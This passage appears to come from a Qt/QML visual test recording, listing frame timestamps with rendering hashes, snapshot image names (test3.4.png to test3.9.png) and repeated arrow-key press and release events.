"861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4320 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4336 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4352 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4368 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4384 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4400 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4416 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4432 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4448 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4464 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4480 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4496 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4512 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4528 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4544 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4560 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4576 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4592 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4608 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4624 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4640 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4656 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4672 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4688 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4704 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4720 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4736 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4752 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4768 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4784 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4800 - image: "test3.4.png" - } - Frame { - msec: 4816 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4832 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4848 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4864 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4880 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4896 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4912 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4928 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4944 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4960 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4976 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 4992 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5008 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5024 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5040 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5056 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5072 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5088 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Frame { - msec: 5104 - hash: "861a8438a60e8a937d96f6b11fa1e3b3" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5120 - hash: "58be5253b74ac1cecf08714e670e30af" - } - Frame { - msec: 5136 - hash: "a8e15f6e28a67941730f9cfe8ea7f0ff" - } - Frame { - msec: 5152 - hash: "f1bfd2e2cd3a3ff08ae36e785d33e626" - } - Frame { - msec: 5168 - hash: "b61fd5c58ddaf806e72d77bed92e91f3" - } - Frame { - msec: 5184 - hash: "f192f6b779fa6bdfd4bc9c8671dd3147" - } - Frame { - msec: 5200 - hash: "1cf034cfdfe3cafa832e28950c90d67b" - } - Frame { - msec: 5216 - hash: "b0d2223f7f2c302784654f03cb3a5c1c" - } - Frame { - msec: 5232 - hash: "19d089ac37fd42c1be99facd38a954e3" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5248 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5264 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5280 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5296 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5312 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5328 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5344 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5360 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5376 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5392 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5408 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5424 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5440 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5456 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5472 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5488 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5504 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5520 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5536 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5552 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5568 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5584 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5600 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5616 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5632 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5648 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5664 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5680 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5696 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Frame { - msec: 5712 - hash: "0cf213791ef1263f9dfc867df96e8211" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5728 - hash: "51db47388acad98d18a8a2aaca279dba" - } - Frame { - msec: 5744 - hash: "c83747a4356fa12593020452dbf43fe8" - } - Frame { - msec: 5760 - image: "test3.5.png" - } - Frame { - msec: 5776 - hash: "39d476722de92703d0a2259b5c62554e" - } - Frame { - msec: 5792 - hash: "3f01e465470c3d5ab58b52f3e1517374" - } - Frame { - msec: 5808 - hash: "63570753ba8c5f1525bf4cee38e8cad8" - } - Frame { - msec: 5824 - hash: "31beab91ef4cadcf0b379b32786530ac" - } - Frame { - msec: 5840 - hash: "46cd2e22eb4ef988752e2b3441bdd450" - } - Frame { - msec: 5856 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 5872 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5888 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5904 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5920 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5936 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5952 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5968 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 5984 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6000 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6016 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6032 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6048 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6064 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6080 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6096 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6112 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6128 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6144 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6160 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6176 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6192 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6208 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6224 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6240 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6256 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Frame { - msec: 6272 - hash: "3e44d7064e55c510401b5008a06d9b82" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6288 - hash: "78c4aaf2427e0aa9b6d11ddf95df55f7" - } - Frame { - msec: 6304 - hash: "d4859df2de6afa90c1997b1b4d6448ab" - } - Frame { - msec: 6320 - hash: "f885e6a8cc09d06985a83f60e29a0a34" - } - Frame { - msec: 6336 - hash: "41f27dbf80b0bc00498962162a5fe9db" - } - Frame { - msec: 6352 - hash: "41800797032deeed5ccc87375b4093cb" - } - Frame { - msec: 6368 - hash: "253276d23d8a0f195155361a27403496" - } - Frame { - msec: 6384 - hash: "274bf40aacababde8fde71abf065d1aa" - } - Frame { - msec: 6400 - hash: "86071a6486d35d3c10f318ab6bac7577" - } - Frame { - msec: 6416 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6432 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6448 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6464 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6480 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6496 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6512 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6528 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6544 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6560 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6576 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6592 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6608 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6624 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6640 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6656 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6672 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6688 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6704 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6720 - image: "test3.6.png" - } - Frame { - msec: 6736 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6752 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6768 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6784 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6800 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6816 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6832 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Frame { - msec: 6848 - hash: "f75305426b87e1cdc325ae6668367be9" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 6864 - hash: "eea514e956369c55f9fe9bfc5b8bbda4" - } - Frame { - msec: 6880 - hash: "b28436abb5ce17310b63ed96a7034000" - } - Frame { - msec: 6896 - hash: "40c656f467200785a951dd8f98cf28f5" - } - Frame { - msec: 6912 - hash: "38c6c6b29c9a7f0eba87a538a336c338" - } - Frame { - msec: 6928 - hash: "b3f939577616f8ded1e11ee6e6dce882" - } - Frame { - msec: 6944 - hash: "d72b00208712f039a5d7a06fbfacd4bd" - } - Frame { - msec: 6960 - hash: "c7a079a37f6bd7a8da706e6ba5d048ee" - } - Frame { - msec: 6976 - hash: "561cdf098bdc35fc852fbe8fff2471e2" - } - Frame { - msec: 6992 - hash: "0461d0e31648d2c155bee0145094c153" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7008 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7024 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7040 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7056 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7072 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7088 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7104 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7120 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7136 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7152 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7168 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7184 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7200 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7216 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7232 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7248 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7264 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7280 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7296 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7312 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7328 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7344 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7360 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7376 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7392 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7408 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7424 - hash: "0461d0e31648d2c155bee0145094c153" - } - Frame { - msec: 7440 - hash: "0461d0e31648d2c155bee0145094c153" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7456 - hash: "096530df53ed21214cf93381ac0d23ea" - } - Frame { - msec: 7472 - hash: "36e7cee0725fb16c5d7e08875a3b88f7" - } - Frame { - msec: 7488 - hash: "a2b68c7e9e4ef04c1429190d01a3288b" - } - Frame { - msec: 7504 - hash: "6ee23f5d2c0ddc21499c8685ae46df64" - } - Frame { - msec: 7520 - hash: "dc423d32154882b99b7bde596697c83a" - } - Frame { - msec: 7536 - hash: "e82852d1d2a21f67029870601b00b124" - } - Frame { - msec: 7552 - hash: "7cd2773c33d7f34feb3b1e4752f63753" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7568 - hash: "2371f0ddf1b0ddcdb36f24e72b62d3a5" - } - Frame { - msec: 7584 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7600 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7616 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7632 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7648 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7664 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7680 - image: "test3.7.png" - } - Frame { - msec: 7696 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7712 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7728 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7744 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7760 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7776 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7792 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7808 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7824 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7840 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7856 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7872 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7888 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7904 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7920 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7936 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7952 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Frame { - msec: 7968 - hash: "113dd40f9b5c9869ad04a00dda9078c6" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7984 - hash: "93fd3abe0b99ed76d880f6f059636335" - } - Frame { - msec: 8000 - hash: "a273ec355c79968013c70aca1b2d5737" - } - Frame { - msec: 8016 - hash: "6b2df83c0645530ca007cde136838725" - } - Frame { - msec: 8032 - hash: "47d5ed89f7e9c89df33bab14ca967f77" - } - Frame { - msec: 8048 - hash: "c777e0d1a1f03e7a1bc16483f98c0622" - } - Frame { - msec: 8064 - hash: "ac7e693d7dbc8e8ff2318cb611b68b76" - } - Frame { - msec: 8080 - hash: "593e9711ae94a5b4f49544e0cf26d188" - } - Frame { - msec: 8096 - hash: "afce51158cb19dd6ae8c72ce19964251" - } - Frame { - msec: 8112 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8128 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8144 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8160 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8176 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8192 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8208 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8224 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8240 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8256 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8272 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8288 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8304 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8320 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8336 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8352 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8368 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8384 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8400 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8416 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8432 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8448 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8464 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8480 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Frame { - msec: 8496 - hash: "30c5f9005238542c83b2d994cb61de16" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8512 - hash: "136c689aca9aa0cf957035137a926653" - } - Frame { - msec: 8528 - hash: "b7418e46bca4bc8c953c15b03c23ec89" - } - Frame { - msec: 8544 - hash: "e99575fe130e741f13329704303b76ca" - } - Frame { - msec: 8560 - hash: "a2b7d528f9c145c4db0845bc76b3571f" - } - Frame { - msec: 8576 - hash: "77f8beccd0134b8991ddb2ac92d64ecb" - } - Frame { - msec: 8592 - hash: "fc359bc56852093020084af44987746a" - } - Frame { - msec: 8608 - hash: "9f3479a702bc79062fff916678e974f1" - } - Frame { - msec: 8624 - hash: "55c8c91ff26671f9f3049f1e1aaf5958" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8640 - image: "test3.8.png" - } - Frame { - msec: 8656 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8672 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8688 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8704 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8720 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8736 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8752 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8768 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8784 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8800 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8816 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8832 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8848 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8864 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8880 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8896 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8912 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8928 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8944 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8960 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8976 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 8992 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 9008 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 9024 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 9040 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Frame { - msec: 9056 - hash: "216a02433edb100e6ff3db4944f6b061" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 9072 - hash: "367ee34ab6a6cb0197e064db85638be7" - } - Frame { - msec: 9088 - hash: "c61db7f2c0402a63efe779bec816a7db" - } - Frame { - msec: 9104 - hash: "29d4d2679a502a1cb8a21807c43153c2" - } - Frame { - msec: 9120 - hash: "3f531d4111efbbac256d4281db1fdeba" - } - Frame { - msec: 9136 - hash: "9f343d8b4dc12cc7ab5ae1ff08067baf" - } - Frame { - msec: 9152 - hash: "eb29b7d6ef2b5507425b2c30ddb58fa8" - } - Frame { - msec: 9168 - hash: "883c0d35567deb6de9125441da89a1fe" - } - Frame { - msec: 9184 - hash: "7c25e95ea2b38288b5ba5737108ef5d1" - } - Frame { - msec: 9200 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 9216 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9232 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9248 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9264 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9280 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9296 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9312 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9328 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9344 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9360 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9376 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9392 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9408 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9424 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9440 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9456 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9472 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9488 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9504 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9520 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9536 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9552 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9568 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9584 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9600 - image: "test3.9.png" - } - Frame { - msec: 9616 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9632 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9648 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9664 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9680 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9696 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9712 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9728 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9744 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9760 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9776 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9792 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9808 - hash: "f192b84337784a6d31c309af7e32b5f7" - } - Frame { - msec: 9824 - hash: 